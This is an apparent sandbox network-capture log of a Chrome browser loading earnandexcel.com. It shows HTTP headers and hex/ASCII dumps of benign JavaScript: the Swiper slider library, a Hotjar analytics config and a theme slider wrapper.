2024-04-11 21:26:43 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7968582365-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-2265a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vYJM%2B9dHBZmWY8It30sOtsfP93E9nQwg43cPREgoGsp65b9SNqcGuNLQ9eVIEInguWbd6Xz13v8p%2ForNd0BcQNpRDE75xtqoQayHYhG5qvlWpaEREICzxN8tbRvyWxv%2Fvy8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	428	IN	Data Raw: 33 35 36 38 0d 0a 2f 2a 2a 0a 20 2a 20 53 77 69 70 65 72 20 35 2e 34 2e 31 0a 20 2a 20 4d 6f 73 74 20 6d 6f 64 65 72 6e 20 6d 6f 62 69 6c 65 20 74 6f 75 63 68 20 73 6c 69 64 65 72 20 61 6e 64 20 66 72 61 6d 65 77 6f 72 6b 20 77 69 74 68 20 68 61 72 64 77 61 72 65 20 61 63 63 65 6c 65 72 61 74 65 64 20 74 72 61 6e 73 69 74 69 6f 6e 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 77 69 70 65 72 6a 73 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 2d 32 30 32 30 20 56 6c 61 64 69 6d 69 72 20 4b 68 61 72 6c 61 6d 70 69 64 69 0a 20 2a 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 6f 6e 3a 20 4d 61 79 20 32 30 2c 20 32 30 32 30 0a 20 2a 2f Data Ascii: 3568/** * Swiper 5.4.1 * Most modern mobile touch slider and framework with hardware accelerated transitions * http://swiperjs.com * * Copyright 2014-2020 Vladimir Kharlampidi * * Released under the MIT License * * Released on: May 20, 2020 */
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 69 6e 20 65 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 4f 62 6a 65 63 74 7d 66 75 6e 63 74 69 6f 6e 20 74 28 69 2c 73 29 7b 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 7b 7d 29 2c 76 6f 69 64 20 30 3d 3d 3d 73 26 26 28 73 3d 7b 7d 29 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 69 5b 61 5d 3f 69 5b 61 5d 3d 73 5b 61 5d 3a 65 28 73 5b 61 5d 29 26 26 65 28 69 5b 61 5d 29 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 Data Ascii: on(){"use strict";function e(e){return null!==e&&"object"==typeof e&&"constructor"in e&&e.constructor===Object}function t(i,s){void 0===i&&(i={}),void 0===s&&(s={}),Object.keys(s).forEach((function(a){void 0===i[a]?i[a]=s[a]:e(s[a])&&e(i[a])&&Object.keys(
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 22 7d 7d 7d 2c 49 6d 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 44 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 63 72 65 65 6e 3a 7b 7d 2c 73 65 74 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6d 61 74 63 68 4d 65 64 69 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 7d 29 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 3d 31 29 74 68 69 73 5b 74 5d 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 65 6e 67 74 68 3d 65 2e 6c 65 6e 67 74 68 2c 74 68 69 73 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 76 61 72 20 73 3d 5b 5d 2c 6e Data Ascii: "}}},Image:function(){},Date:function(){},screen:{},setTimeout:function(){},clearTimeout:function(){},matchMedia:function(){return{}}});var r=function(e){for(var t=0;t<e.length;t+=1)this[t]=e[t];return this.length=e.length,this};function n(e,t){var s=[],n
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 6c 65 6e 67 74 68 3b 69 2b 3d 31 29 66 6f 72 28 76 61 72 20 73 3d 30 3b 73 3c 74 68 69 73 2e 6c 65 6e 67 74 68 3b 73 2b 3d 31 29 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 5b 73 5d 26 26 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 5b 73 5d 2e 63 6c 61 73 73 4c 69 73 74 26 26 74 68 69 73 5b 73 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 74 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 68 61 73 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 5b 30 5d 26 26 74 68 69 73 5b 30 5d 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 65 29 7d 2c 74 6f 67 67 6c 65 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 73 70 6c 69 74 28 22 20 22 29 2c 69 3d 30 3b 69 3c Data Ascii: length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s]&&void 0!==this[s].classList&&this[s].classList.remove(t[i]);return this},hasClass:function(e){return!!this[0]&&this[0].classList.contains(e)},toggleClass:function(e){for(var t=e.split(" "),i=0;i<
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 69 6f 6e 3d 65 7d 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 74 3d 5b 5d 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 2d 2d 3b 29 74 5b 69 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 3b 76 61 72 20 73 3d 74 5b 30 5d 2c 61 3d 74 5b 31 5d 2c 72 3d 74 5b 32 5d 2c 6f 3d 74 5b 33 5d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 76 61 72 20 74 3d 65 2e 74 61 72 67 65 74 3b 69 66 28 74 29 7b 76 61 72 20 69 3d 65 2e 74 61 72 67 65 74 2e 64 6f 6d 37 45 76 65 6e 74 44 61 74 61 7c 7c 5b 5d 3b 69 66 28 69 2e 69 6e 64 65 78 4f 66 28 65 29 3c 30 26 26 69 2e 75 6e 73 68 69 66 74 28 65 29 2c 6e 28 74 29 2e 69 73 28 61 29 29 72 2e 61 70 70 6c 79 28 74 2c 69 29 3b 65 6c 73 65 20 66 6f 72 Data Ascii: tion=e}return this},on:function(){for(var e,t=[],i=arguments.length;i--;)t[i]=arguments[i];var s=t[0],a=t[1],r=t[2],o=t[3];function l(e){var t=e.target;if(t){var i=e.target.dom7EventData\|\|[];if(i.indexOf(e)<0&&i.unshift(e),n(t).is(a))r.apply(t,i);else for
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 4c 69 73 74 65 6e 65 72 73 5b 64 5d 29 2c 63 26 26 63 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 75 3d 63 2e 6c 65 6e 67 74 68 2d 31 3b 75 3e 3d 30 3b 75 2d 3d 31 29 7b 76 61 72 20 76 3d 63 5b 75 5d 3b 72 26 26 76 2e 6c 69 73 74 65 6e 65 72 3d 3d 3d 72 7c 7c 72 26 26 76 2e 6c 69 73 74 65 6e 65 72 26 26 76 2e 6c 69 73 74 65 6e 65 72 2e 64 6f 6d 37 70 72 6f 78 79 26 26 76 2e 6c 69 73 74 65 6e 65 72 2e 64 6f 6d 37 70 72 6f 78 79 3d 3d 3d 72 3f 28 70 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 64 2c 76 2e 70 72 6f 78 79 4c 69 73 74 65 6e 65 72 2c 6e 29 2c 63 2e 73 70 6c 69 63 65 28 75 2c 31 29 29 3a 72 7c 7c 28 70 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 64 2c 76 2e 70 72 6f 78 79 4c 69 73 74 65 6e 65 72 2c 6e 29 Data Ascii: Listeners[d]),c&&c.length)for(var u=c.length-1;u>=0;u-=1){var v=c[u];r&&v.listener===r\|\|r&&v.listener&&v.listener.dom7proxy&&v.listener.dom7proxy===r?(p.removeEventListener(d,v.proxyListener,n),c.splice(u,1)):r\|\|(p.removeEventListener(d,v.proxyListener,n)
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 5b 30 5d 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 6f 66 66 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 6c 65 6e 67 74 68 3e 30 29 7b 76 61 72 20 65 3d 74 68 69 73 5b 30 5d 2c 74 3d 65 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 73 3d 69 2e 62 6f 64 79 2c 72 3d 65 2e 63 6c 69 65 6e 74 54 6f 70 7c 7c 73 2e 63 6c 69 65 6e 74 54 6f 70 7c 7c 30 2c 6e 3d 65 2e 63 6c 69 65 6e 74 4c 65 66 74 7c 7c 73 2e 63 6c 69 65 6e 74 4c 65 66 74 7c 7c 30 2c 6f 3d 65 3d 3d 3d 61 3f 61 2e 73 63 72 6f 6c 6c 59 3a 65 2e 73 63 72 6f 6c 6c 54 6f 70 2c 6c 3d 65 3d 3d 3d 61 3f 61 2e 73 63 72 6f 6c 6c 58 3a 65 2e 73 63 72 6f 6c 6c 4c 65 66 74 3b 72 65 74 75 Data Ascii: return this[0].offsetHeight}return null},offset:function(){if(this.length>0){var e=this[0],t=e.getBoundingClientRect(),s=i.body,r=e.clientTop\|\|s.clientTop\|\|0,n=e.clientLeft\|\|s.clientLeft\|\|0,o=e===a?a.scrollY:e.scrollTop,l=e===a?a.scrollX:e.scrollLeft;retu
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 20 6f 3d 3d 3d 61 3b 69 66 28 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 29 7b 66 6f 72 28 74 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 5b 65 5d 3a 65 2c 73 3d 30 3b 73 3c 74 2e 6c 65 6e 67 74 68 3b 73 2b 3d 31 29 69 66 28 74 5b 73 5d 3d 3d 3d 6f 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 31 7d 2c 69 6e 64 65 78 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 74 68 69 73 5b 30 5d 3b 69 66 28 74 29 7b 66 6f 72 28 65 3d 30 3b 6e 75 6c 6c 21 3d 3d 28 74 3d 74 2e 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 29 3b 29 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 28 65 2b 3d 31 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 76 6f 69 64 20 Data Ascii: o===a;if(e.nodeType\|\|e instanceof r){for(t=e.nodeType?[e]:e,s=0;s<t.length;s+=1)if(t[s]===o)return!0;return!1}return!1},index:function(){var e,t=this[0];if(t){for(e=0;null!==(t=t.previousSibling);)1===t.nodeType&&(e+=1);return e}},eq:function(e){if(void
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 74 3d 5b 5d 2c 69 3d 74 68 69 73 5b 30 5d 3b 69 66 28 21 69 29 72 65 74 75 72 6e 20 6e 65 77 20 72 28 5b 5d 29 3b 66 6f 72 28 3b 69 2e 6e 65 78 74 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 29 7b 76 61 72 20 73 3d 69 2e 6e 65 78 74 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 65 3f 6e 28 73 29 2e 69 73 28 65 29 26 26 74 2e 70 75 73 68 28 73 29 3a 74 2e 70 75 73 68 28 73 29 2c 69 3d 73 7d 72 65 74 75 72 6e 20 6e 65 77 20 72 28 74 29 7d 2c 70 72 65 76 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 68 69 73 2e 6c 65 6e 67 74 68 3e 30 29 7b 76 61 72 20 74 3d 74 68 69 73 5b 30 5d 3b 72 65 74 75 72 6e 20 65 3f 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 26 26 6e 28 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c Data Ascii: t=[],i=this[0];if(!i)return new r([]);for(;i.nextElementSibling;){var s=i.nextElementSibling;e?n(s).is(e)&&t.push(s):t.push(s),i=s}return new r(t)},prev:function(e){if(this.length>0){var t=this[0];return e?t.previousElementSibling&&n(t.previousElementSibl
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 69 3d 30 3b 69 3c 74 68 69 73 2e 6c 65 6e 67 74 68 3b 69 2b 3d 31 29 65 2e 63 61 6c 6c 28 74 68 69 73 5b 69 5d 2c 69 2c 74 68 69 73 5b 69 5d 29 26 26 74 2e 70 75 73 68 28 74 68 69 73 5b 69 5d 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 72 28 74 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 74 68 69 73 2e 6c 65 6e 67 74 68 3b 65 2b 3d 31 29 74 68 69 73 5b 65 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 5b 65 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 5b 65 5d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c Data Ascii: ction(e){for(var t=[],i=0;i<this.length;i+=1)e.call(this[i],i,this[i])&&t.push(this[i]);return new r(t)},remove:function(){for(var e=0;e<this.length;e+=1)this[e].parentNode&&this[e].parentNode.removeChild(this[e]);return this},add:function(){for(var e=[],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.17	49828	108.138.106.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	541	OUT	GET /c/hotjar-2832943.js?sv=6 HTTP/1.1 Host: static.hotjar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:43 UTC	633	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Thu, 11 Apr 2024 21:26:43 GMT Access-Control-Allow-Origin: * Cache-Control: max-age=60 Cross-Origin-Resource-Policy: cross-origin ETag: W/d482d4fa5c68505c2b2f187e5f73e8ff Strict-Transport-Security: max-age=2592000; includeSubDomains X-Cache-Hit: 1 X-Content-Type-Options: nosniff Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 f07e3fd03d3423bceb1c6083ab62cf8a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: shdquWWJZCczSK-t72AiVoPDeAh4CPFW4NeHx_tIfefLqR7oJzQMIQ==
2024-04-11 21:26:43 UTC	8943	IN	Data Raw: 32 32 65 37 0d 0a 77 69 6e 64 6f 77 2e 68 6a 53 69 74 65 53 65 74 74 69 6e 67 73 20 3d 20 77 69 6e 64 6f 77 2e 68 6a 53 69 74 65 53 65 74 74 69 6e 67 73 20 7c 7c 20 7b 22 73 69 74 65 5f 69 64 22 3a 32 38 33 32 39 34 33 2c 22 72 22 3a 30 2e 32 33 35 32 36 35 32 39 33 34 38 35 34 34 39 37 38 2c 22 72 65 63 5f 76 61 6c 75 65 22 3a 30 2e 30 2c 22 73 74 61 74 65 5f 63 68 61 6e 67 65 5f 6c 69 73 74 65 6e 5f 6d 6f 64 65 22 3a 22 61 75 74 6f 6d 61 74 69 63 22 2c 22 72 65 63 6f 72 64 22 3a 74 72 75 65 2c 22 63 6f 6e 74 69 6e 75 6f 75 73 5f 63 61 70 74 75 72 65 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 72 65 63 6f 72 64 69 6e 67 5f 63 61 70 74 75 72 65 5f 6b 65 79 73 74 72 6f 6b 65 73 22 3a 74 72 75 65 2c 22 73 65 73 73 69 6f 6e 5f 63 61 70 74 75 72 65 5f 63 Data Ascii: 22e7window.hjSiteSettings = window.hjSiteSettings \|\| {"site_id":2832943,"r":0.23526529348544978,"rec_value":0.0,"state_change_listen_mode":"automatic","record":true,"continuous_capture_enabled":true,"recording_capture_keystrokes":true,"session_capture_c
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.17	49829	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	920	OUT	GET /wp-content/themes/edumall/assets/js/swiper-wrapper.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:43 UTC	950	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:43 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7b5b9743df-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-126b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sii4ROMnF9teELK2PZGVQSS%2F3Waw%2BZdv14JwdGjq%2BM8m%2FeUS%2FtbH8SZWQQkMFbrQoY%2BrJGR%2FA2DOTgB7iozxeNLbT6iB%2B4OzTHa2N3gOQrnGV07TwvqniE00UvFrlJnJCOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:43 UTC	419	IN	Data Raw: 31 32 36 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 43 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 43 2e 66 6e 2e 45 64 75 6d 61 6c 6c 53 77 69 70 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 68 2c 78 3d 43 2e 65 78 74 65 6e 64 28 7b 7d 2c 7b 7d 2c 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 65 2c 69 2c 73 2c 6e 2c 74 2c 72 3d 43 28 74 68 69 73 29 2c 64 3d 72 2e 63 68 69 6c 64 72 65 6e 28 22 2e 73 77 69 70 65 72 2d 69 6e 6e 65 72 22 29 2e 66 69 72 73 74 28 29 2c 6c 3d 72 2e 64 61 74 61 28 29 2c 6f 3d 64 2e 63 68 69 6c 64 72 65 6e 28 22 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 66 69 72 73 74 28 29 2c 70 3d 6c 2e 6c 67 49 74 65 6d 73 7c 7c 31 2c 63 3d 6c 2e 6d 64 Data Ascii: 126b!function(C){"use strict";C.fn.EdumallSwiper=function(a){var h,x=C.extend({},{},a);return this.each(function(){var a,e,i,s,n,t,r=C(this),d=r.children(".swiper-inner").first(),l=r.data(),o=d.children(".swiper-container").first(),p=l.lgItems\|\|1,c=l.md
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 75 74 6f 22 3a 63 29 3f 63 3a 31 2c 53 3d 22 61 75 74 6f 22 21 3d 3d 28 75 3d 22 61 75 74 6f 2d 66 69 78 65 64 22 3d 3d 3d 75 3f 22 61 75 74 6f 22 3a 75 29 3f 75 3a 31 2c 6d 3d 43 2e 65 78 74 65 6e 64 28 7b 7d 2c 7b 69 6e 69 74 3a 21 31 2c 77 61 74 63 68 53 6c 69 64 65 73 56 69 73 69 62 69 6c 69 74 79 3a 21 30 2c 73 6c 69 64 65 73 50 65 72 56 69 65 77 3a 75 2c 73 70 61 63 65 42 65 74 77 65 65 6e 3a 66 2c 73 6c 69 64 65 73 50 65 72 47 72 6f 75 70 3a 53 2c 62 72 65 61 6b 70 6f 69 6e 74 73 3a 7b 37 36 37 3a 7b 73 6c 69 64 65 73 50 65 72 56 69 65 77 3a 63 2c 73 70 61 63 65 42 65 74 77 65 65 6e 3a 77 2c 73 6c 69 64 65 73 50 65 72 47 72 6f 75 70 3a 62 7d 2c 31 30 32 34 3a 7b 73 6c 69 64 65 73 50 65 72 56 69 65 77 3a 70 2c 73 70 61 63 65 42 65 74 77 65 65 6e Data Ascii: auto":c)?c:1,S="auto"!==(u="auto-fixed"===u?"auto":u)?u:1,m=C.extend({},{init:!1,watchSlidesVisibility:!0,slidesPerView:u,spaceBetween:f,slidesPerGroup:S,breakpoints:{767:{slidesPerView:c,spaceBetween:w,slidesPerGroup:b},1024:{slidesPerView:p,spaceBetween
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 2c 73 3d 65 2e 66 69 6e 64 28 22 2e 73 6c 69 64 65 72 2d 6e 65 78 74 2d 62 74 6e 22 29 29 3a 28 28 65 3d 43 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 69 70 65 72 2d 6e 61 76 2d 62 75 74 74 6f 6e 73 22 3e 3c 2f 64 69 76 3e 27 29 29 2e 61 70 70 65 6e 64 28 6e 29 2e 61 70 70 65 6e 64 28 73 29 2c 69 3d 43 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 69 70 65 72 2d 6e 61 76 2d 62 75 74 74 6f 6e 73 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 2c 22 67 72 69 64 22 3d 3d 6c 2e 6e 61 76 41 6c 69 67 6e 65 64 42 79 3f 28 69 2e 61 70 70 65 6e 64 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 73 6d 2d 31 32 22 3e 3c 2f 64 69 76 3e 3c Data Ascii: ,s=e.find(".slider-next-btn")):((e=C('<div class="swiper-nav-buttons"></div>')).append(n).append(s),i=C('<div class="swiper-nav-buttons-wrap"></div>'),"grid"==l.navAlignedBy?(i.append('<div class="container"><div class="row"><div class="col-sm-12"></div><
2024-04-11 21:26:43 UTC	1369	IN	Data Raw: 61 74 69 6f 6e 2d 73 74 79 6c 65 2d 30 33 22 29 3f 6d 2e 70 61 67 69 6e 61 74 69 6f 6e 2e 72 65 6e 64 65 72 43 75 73 74 6f 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 2c 69 29 7b 65 3d 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 69 3d 69 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 72 61 63 74 69 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 75 72 72 65 6e 74 22 3e 27 2b 28 65 3d 65 2e 70 61 64 53 74 61 72 74 28 32 2c 22 30 22 29 29 2b 27 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 70 61 72 61 74 6f 72 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 6f 74 61 6c 22 3e 27 2b 28 69 3d 69 2e 70 61 64 53 74 61 72 74 28 32 2c 22 30 22 29 29 2b 22 3c 2f 73 70 61 6e 3e Data Ascii: ation-style-03")?m.pagination.renderCustom=function(a,e,i){e=e.toString(),i=i.toString();return'<div class="fraction"><span class="current">'+(e=e.padStart(2,"0"))+'</span><span class="separator"></span><span class="total">'+(i=i.padStart(2,"0"))+"</span>
2024-04-11 21:26:43 UTC	197	IN	Data Raw: 63 6b 22 2c 22 2e 73 77 69 70 65 72 2d 61 6c 74 2d 61 72 72 6f 77 2d 62 75 74 74 6f 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 77 69 74 63 68 28 43 28 74 68 69 73 29 2e 64 61 74 61 28 22 61 63 74 69 6f 6e 22 29 29 7b 63 61 73 65 22 70 72 65 76 22 3a 68 2e 73 6c 69 64 65 50 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 6e 65 78 74 22 3a 68 2e 73 6c 69 64 65 4e 65 78 74 28 29 7d 7d 29 2c 43 28 64 6f 63 75 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 22 45 64 75 6d 61 6c 6c 53 77 69 70 65 72 49 6e 69 74 22 2c 5b 68 2c 72 2c 6d 5d 29 7d 29 2c 68 7d 7d 28 6a 51 75 65 72 79 29 3b 0d 0a Data Ascii: ck",".swiper-alt-arrow-button",function(){switch(C(this).data("action")){case"prev":h.slidePrev();break;case"next":h.slideNext()}}),C(document).trigger("EdumallSwiperInit",[h,r,m])}),h}}(jQuery);
2024-04-11 21:26:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.17	49830	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
